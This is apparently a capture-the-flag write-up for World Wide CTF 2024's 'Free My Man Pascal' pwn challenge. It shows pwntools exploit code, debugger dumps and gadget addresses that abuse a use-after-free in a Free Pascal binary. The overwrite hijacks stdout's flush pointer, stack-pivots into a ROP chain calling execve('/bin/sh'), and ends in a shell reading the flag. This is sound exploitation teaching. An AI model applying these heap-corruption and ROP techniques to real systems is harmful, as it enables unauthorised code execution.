World Wide CTF 2024 - Free My Man Pascal Free My Man Pascal

500 / medium

Author: numb3rs

plz free pascal

nc freemyman.chal.wwctf.com 1337

Team: Weak But Leet

Attachment: freemyman xpl.py

Free My Man Pascal
==================================
1. Add a request
2. Edit a request
3. Show a request
4. Delete a request
5. Add data
6. Exit
>> 

From the functions defined and the challenge name, this challenge seemed to be written in Free Pascal. Didn’t really invest much time into reversing it, but just assumed, that it will be some use-after-free kind of vulnerability and just went on dynamically debugging it.

And from some quick tests, it seemed that this was indeed the case.

r.recvuntil(b">> ")
add(b"A" * 0x10, b"B" * 0x10)
add(b"A" * 0x10, b"B" * 0x10)

free(1)
free(2)

LEAK = view(1)

print(hexdump(LEAK))
[+] Starting local process './freemyman': pid 325099
[325099]
[*] Paused (press any to continue)
00000000  12 fb f7 ff  7f 00 00 78  11 fb f7 ff  7f 00 00 41  │····│···x│····│···A│
00000010  00 00 00 00  00 00 00 00  0a 0d 42 42  42 42 42 42  │····│····│··BB│BBBB│
00000020  42 42 42 42  42 42 42 42  42 42 0a 0d               │BBBB│BBBB│BB··│
0000002c

It seems that for the freed pointer we don’t control the LSB (only bytes 1-6), so we don’t have “full” control over it when overwriting it, but we can use it to shove the next chunks around a bit…

Since we can edit the freed chunk again, we can just overwrite the next free pointer in the chunk and let it point somewhere else.

I thought about overwriting some exitfuncs kind of structure and after testing out some of the global function pointers, I stumbled across U_$SYSTEM_$$_STDOUT as a working target.

0x483600 <U_$SYSTEM_$$_STDOUT>:	0x0000000000000000	0x0000d7b200000001
0x483610 <U_$SYSTEM_$$_STDOUT+16>:	0x0000000000000100	0x0000000000000000
0x483620 <U_$SYSTEM_$$_STDOUT+32>:	0x0000000000000000	0x0000000000000000
0x483630 <U_$SYSTEM_$$_STDOUT+48>:	0x000000000048387c	0x000000000041c580
0x483640 <U_$SYSTEM_$$_STDOUT+64>:	0x000000000041c520	0x000000000041c520 
0x483650 <U_$SYSTEM_$$_STDOUT+80>:	0x000000000041c4d0	0x0000000000000000
0x483660 <U_$SYSTEM_$$_STDOUT+96>:	0x0000000000000000	0x0000000000000000
0x483670 <U_$SYSTEM_$$_STDOUT+112>:	0x0000000000000000	0x0000000000000000
0x483680 <U_$SYSTEM_$$_STDOUT+128>:	0x0000000000000000	0x0000000000000000
0x483690 <U_$SYSTEM_$$_STDOUT+144>:	0x0000000000000000	0x0000000000000000

We can allocate another chunk into this and overwrite the function pointers in it. One of those should get triggered when the challenge exists and tries to flush stdout.

payload1 = p64(0x483618)[1:8] + p64(0xdeadbeef)
payload2 = p64(0xfacebabe)

edit(2, payload1, payload2)

add(b"A" * 0x10, b"B" * 0x10)

The next chunk would now get allocated into the stdout structure. Let’s see, what will happen, if we just fill it up with garbage.

payload = cyclic_metasploit(0x40)
payload2 = cyclic_metasploit(0x40)

add(payload, payload2)
Program received signal SIGSEGV, Segmentation fault.
0x000000000041cc8b in SYSTEM_$$_FLUSH$TEXT ()
─────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0000000000483d08  →  0x0000000000000000
$rbx   : 0x0000000000483608  →  0x0000d7b200000001
$rcx   : 0x0000000000401eb7  →  <SYSTEM_$$_FPSYSCALL$INT64$INT64$INT64$INT64$$INT64+0017> cmp rax, 0xfffffffffffff001
$rdx   : 0x0               
$rsp   : 0x00007fffffffd330  →  0x0000000000483988  →  0x0000d7b200000002
$rbp   : 0x00007fffffffd490  →  0x0000000000000000
$rsi   : 0x00000000004851f0  →  "Exiting program...\n\r\rfully!\n\r\n\r-2): "
$rdi   : 0x0000000000483608  →  0x0000d7b200000001
$rip   : 0x000000000041cc8b  →  <SYSTEM_$$_FLUSH$TEXT+00ab> call QWORD PTR [rbx+0x38]
$r8    : 0x00007ffff7fb92b0  →  0x0765076507720746
$r9    : 0x0               
$r10   : 0x3262413162413062 ("b0Ab1Ab2"?)
$r11   : 0x206             
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x41cc81 <SYSTEM_$$_FLUSH$TEXT+00a1> mov    WORD PTR [rax], 0x67
     0x41cc86 <SYSTEM_$$_FLUSH$TEXT+00a6> jmp    0x41cc8e <SYSTEM_$$_FLUSH$TEXT+174>
     0x41cc88 <SYSTEM_$$_FLUSH$TEXT+00a8> mov    rdi, rbx
 →   0x41cc8b <SYSTEM_$$_FLUSH$TEXT+00ab> call   QWORD PTR [rbx+0x38]
     0x41cc8e <SYSTEM_$$_FLUSH$TEXT+00ae> pop    rbx
     0x41cc8f <SYSTEM_$$_FLUSH$TEXT+00af> ret    
     0x41cc90 <SYSTEM_$$_ERASE$TEXT+0000> push   rbx
     0x41cc91 <SYSTEM_$$_ERASE$TEXT+0001> mov    rbx, rdi
     0x41cc94 <SYSTEM_$$_ERASE$TEXT+0004> lea    rax, [rip+0x68145]        # 0x484de0 <FPC_THREADVAR_RELOCATE>

gef➤  x/gx $rbx+0x38
0x483640 <U_$SYSTEM_$$_STDOUT+64>:	0x3562413462413362

Looking good, so we control the value at rbx+0x38. rdi will point to stdout+0x8 at this point.

We just need a fitting gadget to pivot the stack into our allocated chunk and also to change rdi to point to a more controllable address.

0x40296f    

mov edi,DWORD PTR [rdi+0x28]; 
mov rsp, qword ptr [rdi + 0x30]; 
jmp qword ptr [rdi + 0x38];

Perfect :)

This will set rdi to [rdi+0x28] and rsp to [rdi+0x30] and then jump to [rdi+0x38]. And we control all of those values.

STACKPIVOT = 0x40296c

# 0x0000000000402dac: pop rsi; pop r13; pop r12; pop rbx; ret; 
POPRSI3 = 0x0000000000402dac
POPRAX = 0x0000000000413c23
SYSCALL = 0x0000000000401fa7

payload = b"/bin/sh\x00" + p64(0)
payload += p64(0x0) + p64(0x483618)         # X / new rdi
payload += p64(0x0) + p64(STACKPIVOT)       # X / stack pivot
payload += p64(0x483660) + p64(POPRAX)      # rsp / new jmp

payload2 = b"\x00" * 7
payload2 += p64(59)
payload2 += p64(POPRSI3) + p64(0)
payload2 += p64(0) + p64(0)
payload2 += p64(0) + p64(SYSCALL)

add(payload, payload2)

Flushing stdout will now trigger our stack pivot, which will set rdi to 0x483618 (the address where we put the /bin/sh string), set rsp to 0x483660, where the content of our chunk is stored (payload2) and then call rdi+0x38, which is pop rax; ret.

Since we moved rsp to the beginning of content, this will now set rax to 59 (execve) and then clear rsi and execute execve("/bin/sh", 0, 0).

$ python3 xpl.py  1
[+] Opening connection to freemyman.chal.wwctf.com on port 1337: Done
[*] Switching to interactive mode
Exiting program...
$ ls
flag.txt
freemyman
$ cat flag.txt
wwf{P4sc4l_U4f_FTW_174a3f4fa44c7bb22b}